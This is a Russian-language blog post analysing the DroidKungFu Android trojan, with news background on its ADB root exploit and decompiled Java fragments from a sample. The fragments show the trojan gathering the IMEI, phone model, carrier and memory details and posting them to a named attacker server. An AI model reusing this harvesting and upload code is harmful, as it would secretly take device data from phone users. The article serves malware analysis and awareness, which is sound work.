DroidKungFu-разбор полетов malware на Android

Новостная сводка:

Весной сего года из AndroidMarket было удалено 21 приложение, под которыми скрывалась вредоносная программа DroidDreamLight. После установки, уличенные приложения отправляли довольно приличный объем пользовательской информации, хранящейся на гуглофонах.
И вот, в июне этого года, сотрудники Университета штата Северная Каролина сообщили, что была обнаружена новая версия вредоносной программы DroidKungFu.


Эта программа аналогична DroidDreamLight, но использует иные методы сокрытия своего присутствия, которые позволяют обходить системы защиты. Программа использует уязвимость в Android Debug Bridge, сокращенно ADB. Эта уязвимость дает возможность получить root-доступ к аппарату, что само по себе уже не игрушки…
Правда, стоит отметить, что в официальном AndroidMarket вредоносные приложения не распространялись и были направлены только на рынок в Китае, хотя от этого легче не становится.
Также, важно, что опасности заражения подвержены устройства на основе Android 2.2 и ниже ибо в версии 2.3 была исправлена уязвимость, позволяющая DroidKungFu проявить себя «во всей красе».
При установке зараженных приложений, DroidKungFu активируется и делает свой процесс автозагрузочным, да и к тому же на android 2.2 и ниже получает права root. На android 2.3 это ему не удается, но все же он может собрать часть информации об аппарате.

Разбор полетов:

Один хороший человек в своем блоге разобрал часть интересного кода DroidKungFu и сейчас я попытаюсь вместе с вами разобраться что к чему.
Для разбора был взят образец из данного хранилища вредоносного ПО с хешом md5 39D140511C18EBF7384A36113D48463D.
Для получения jar-архива была использована хорошая вещь, такая как dex2jar, после извлечения дексов (Dalvik Executable Format) из .APK. После декомпиляции jar-архива легко получаем чистый код. Рассмотрим интересные моменты в коде.

Часть I или «где-то я уже это видел…»

При просмотре кода класса SearchService мы обнаруживаем метод DoSearchReport… Да, да, именно тот метод, который используется в виджете поиска от всеми любимого Google. И это видно в коде, приведенном ниже:
Private void doSearchReport()
{
updateInfo();
ArrayList localArrayList = new ArrayList();
String str1 = this.nImei;
BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair("imei", str1);
Boolean bool1 = localArrayList.add(LocalBasicNameValuePair1);
If (this.n0sType != null)
{
String str2 = this.n0sType;
If (!””.equals(str2))

}

}

Что это дает? Видимо, это дает возможность нашей программе оставаться «легально чистой», ну или грубо говоря «жить в нашем гуглофоне», даже после удаления установленных вредоносных пакетов, маскируясь под поисковый виджет.

Часть II или «пора отчаливать!»

В следующем куске кода метода DoSearchReport происходит самое страшное: все собранные данные с зараженного устройства уплывают с нашего гуглофона сами видите куда:
While (true)
{
HttpPost localHttpPost = new HttpPost(“http://search.gongfu-android.com:8511/search/sayhi.php”);
try
UrlEncodedFormEntity localUrlEncodedFormEntity = new UrlEncodedFormEntity(localArrayList, “UTF-8”);
localHttpPost.setEntity(localUrlEncodedFormEntity);
int I = new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode();
return;
BasicNameValuePair localBasicNameValuePair12 = new BasicNameValuePair(“root”, “0”);
Boolean bool12 = localArrayList.add(localBasicNameValuePair12);
}
Catch (Exception localException)
{
}

В блоге также подробнее описано про URL, на который отсылались данные о гуглофонах.
Часть III или «а что уплыло-то?»


А из следующих выдержек кода видно, что уплывает:
BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair("imei", str1);

BasicNameValuePair localBasicNameValuePair2 = new BasicNameValuePair("ostype", str3);

BasicNameValuePair localBasicNameValuePair3 = new BasicNameValuePair("osaapi", str5);

BasicNameValuePair localBasicNameValuePair4 = new BasicNameValuePair("mobile", str7);

BasicNameValuePair localBasicNameValuePair5 = new BasicNameValuePair("mobilemodel", str9);

BasicNameValuePair localBasicNameValuePair6 = new BasicNameValuePair("netoperator", str11);

BasicNameValuePair localBasicNameValuePair7 = new BasicNameValuePair("nettype", str13);

BasicNameValuePair localBasicNameValuePair8 = new BasicNameValuePair("managerid", str15);

BasicNameValuePair localBasicNameValuePair9 = new BasicNameValuePair("sdmemory", str17);

BasicNameValuePair localBasicNameValuePair10 = new BasicNameValuePair("aliamemory", str19);


Как видно, уплывает довольно большой объем информации об аппарате…

Часть IV или «недосказанное»

Пожалуй, еще одной новинкой в данном трояне стало использование AES-шифрования своих эксплоитов. Предыдущие собратья DroidKungFu, такие как HongTouTou или Geinimi использовали DES-шифрование в своем коде.
p.s. На данный момент в интернете можно найти несколько версий DroidKungFu.По крайней мере я находил три варианта реализации.
Поделиться публикацией

Похожие публикации

Комментарии 0

Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое